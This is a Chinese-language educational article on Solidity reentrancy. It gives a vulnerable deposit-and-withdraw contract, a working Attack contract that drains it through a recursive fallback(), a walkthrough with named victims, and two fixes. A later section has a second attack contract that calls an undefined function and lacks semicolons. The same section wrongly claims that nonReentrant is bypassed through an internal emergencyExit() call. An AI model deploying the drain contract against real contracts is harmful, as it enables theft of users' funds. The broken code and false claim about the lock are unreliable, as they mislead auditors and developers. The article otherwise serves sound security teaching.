概念
以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时,通常会触发一个叫做 fallback
的函数来执行一些特定的操作。这就是所谓的“隐蔽的外部调用”。
重入漏洞的问题出现在合约的外部调用上,尤其是当目标是一个恶意的合约时。攻击者可能会利用这种外部调用,在被攻击的合约中执行一些恶意逻辑。举个例子,当合约调用恶意合约时,恶意合约可以通过某些方式重新进入被攻击的合约,重复执行一些操作,甚至发起非预期的交易,从而破坏合约的正常逻辑。
换句话说,重入漏洞就是攻击者利用合约间外部调用的机制,在合约中反复进入,造成不希望发生的行为,通常会导致合约的资金被盗取。
漏洞代码
以下为典型的存在重入漏洞的合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
// 存款函数
function deposit() public payable {
// 增加余额
balances[msg.sender] += msg.value;
}
// 提款函数
function withdraw() public {
// 提款前,余额需大于0
uint bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
// 先发送以太
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
// 再清除余额
balances[msg.sender] = 0;
}
// 查询合约余额
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
不难看出,该 EtherStore 合约是一个充提合约。
代码审计
我们重点关注 withdraw() 函数:
// 提款函数
function withdraw() public {
// 提款前,余额需大于0
uint bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
// 先发送以太
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
// 再清除余额
balances[msg.sender] = 0;
}
这一段代码执行了转账操作,实现了外部调用:
// 先发送以太
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
因此我们需要特别关注这里是否存在重入漏洞。
我们可以看到,在 withdraw 函数中,合约是先执行外部调用进行转账,然后才将用户的账户余额清零。那么,我们就可以构造一个恶意合约,在接收到转账时,通过回调函数在 balances[msg.sender] = 0 这一行执行之前,不断递归调用 withdraw 函数重复提现,从而将整个合约的余额逐步提空。
攻击代码
仔细查看代码注释:
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) { // 构造函数的声明
etherStore = EtherStore(_etherStoreAddress);
// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量
}
// 相当于传入受害合约
// 当合约收到以太币时,
// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,
// 就会触发 fallback() 函数
// 因此,当 EtherStore 合约向 Attack 合约发送以太币时,这个 fallback() 就会被自动触发
// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;
// 如果是,就再次调用 etherStore.withdraw();
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
// 向 EtherStore 合约存入 1 ETH,增加其余额
// 从 EtherStore 中提取资金
etherStore.withdraw();
// 提取到资金后,就会触发本合约的 fallback()
}
// 辅助函数:查看该合约的余额
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
攻击过程总结
1.攻击者首先调用 attack(),并向 EtherStore 合约发送 1 ETH。
2.然后,Attack 合约将这 1 ETH 存入 EtherStore 合约。
由于在 EtherStore 合约提款时,余额需大于0,因此需提前存入 1 ETH 满足提款条件,进而触发下文的第4点。
3.紧接着,攻击者调用 Attack 合约中的 withdraw(),从 EtherStore 提取资金。
4.EtherStore 合约向 Attack 合约转账,触发 Attack 合约的 fallback() 函数。
5.在 Attack 合约的 fallback() 中,Attack 合约再次调用 withdraw(),重复这个过程,直到 EtherStore 合约的余额被完全提取。
示例
我们假设有三个角色参与本次攻击:
- 用户 Alice
- 用户 Bob
- 攻击者 Eve
整个攻击过程如下。
1.部署 EtherStore 合约。
2.用户 Alice 和用户 Bob 各向 EtherStore 合约充值 1 个以太币。此时合约总余额为 2 ETH。
3.攻击者 Eve 部署 Attack 合约,并在部署时传入 EtherStore 合约地址,完成初始化。
4.Eve 调用 Attack.attack() 函数,向 EtherStore 合约存入 1 个以太币,以建立合法的余额记录;
5.此时 EtherStore 合约中共有 3 ETH,分别来自 Alice、Bob 和 Eve。
6.攻击者调用 EtherStore.withdraw() 提现这 1 ETH。
7.在提现过程中,EtherStore 合约会向 Attack 合约发送 1 ETH,进而触发 Attack 合约的 fallback() 函数。
8.在 fallback() 中,只要 EtherStore 合约余额仍大于等于 1 ETH,Attack 合约就会递归调用 withdraw(),不断重复提现。
9.最终,直到 EtherStore 合约余额低于 1 ETH,攻击循环才会停止。
10.此时:
- Alice 和 Bob 原本的 2 ETH 已被攻击者转移走;
- 攻击者 Eve 获得了合约中所有剩余的资金。
修复建议
1.先更新状态,再进行外部调用
我们应避免在修改状态变量之前进行外部调用。因此,我们可以将 balances[msg.sender] = 0;
移动到转账语句之前。
// 提款函数
function withdraw() public {
// 提款前,余额需大于0
uint bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
// 先清除余额
balances[msg.sender] = 0;
// 再发送以太
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
此时你可能有疑问:“把 balances[msg.sender] = 0; 放在转账前,不就把余额清零了吗?那转账的那一行怎么实现?”
注意:第 1 行我们用 uint bal = balances[msg.sender];
把用户余额先读出来,赋值给了一个局部变量 bal;即使我们随后把 balances[msg.sender] 设置为 0,不会影响 bal 的值;最后转账时,用的不是 balances[msg.sender],而是我们事先保存下来的 bal,所以不会出问题。
2.使用“重入锁”(Reentrancy Guard)
可以引入互斥锁(mutex)机制,防止函数被递归调用。OpenZeppelin 提供了非常成熟的 ReentrancyGuard 合约。
示例代码如下:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
mapping(address => uint) public balances;
// 存款函数
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// nonReentrant 是 ReentrancyGuard 提供的一个修饰器(modifier)
// 一旦 withdraw() 开始执行,就不允许再次进入,直到它执行完毕
function withdraw() public nonReentrant {
uint bal = balances[msg.sender];
require(bal > 0, "Insufficient balance");
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
}
此时你可能又有一个问题:“我已经用了 nonReentrant,那我是不是就可以把转账写在前,清零写在后?”
不行。理由如下:
1.“状态先改,再调用外部合约”,满足 Solidity 安全开发的通用原则:Checks-Effects-Interactions Pattern。
2.你未来可能会在 EtherStore 合约中新增一个“退出合约”或“紧急退款”功能,比如编写了一个 emergencyExit() 函数,内部帮助用户调用 withdraw()。但如果这个函数未加 nonReentrant 修饰器,就可能引发重入风险。示例如下:
function emergencyExit() public { // emergencyExit() 后忘记加 nonReentrant
withdraw(); // 调用了已经加锁的 withdraw()
}
虽然 withdraw() 本身是有 nonReentrant 修饰器的,但由于它是被合约内部直接调用的(即内部函数调用),不会触发 ReentrancyGuard 的锁机制。因为锁机制依赖的是“重新进入函数”的检测,而这种调用路径仍然沿着原始的调用栈执行,并未重新进入函数上下文。
攻击者只需修改代码如下,即可再次导致重入攻击的发生:
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) { // 构造函数的声明
etherStore = EtherStore(_etherStoreAddress);
// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量
}
// 相当于传入受害合约
// 当合约收到以太币时,
// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,
// 就会触发 fallback() 函数
// 因此,申请紧急退款时,EtherStore 合约向 Attack 合约发送以太币,这个 fallback() 就会被自动触发
// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;
// 如果是,就再次调用 emergencyExit()
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
emergencyExit()
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
// 向 EtherStore 合约存入 1 ETH,增加其余额
// 调用紧急退款,从 EtherStore 提取资金
emergencyExit()
// 提取到资金后,触发本合约的 fallback()
}
// 辅助函数:查看该合约的余额
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
审计思路
所有涉及外部合约调用的代码位置都可能存在安全风险。因此,在审计过程中,我们应重点审查这些外部调用的部分,并深入推演可能产生的危害。通过这种方式,我们能够有效判断是否存在重入漏洞的风险,并采取相应的防护措施。
最后要注意:使用 call 函数进行转账容易发生重入攻击,因为 call 是低级函数,call 在执行后会执行目标地址(msg.sender)的 fallback 或 receive 函数,即将控制权交给目标合约。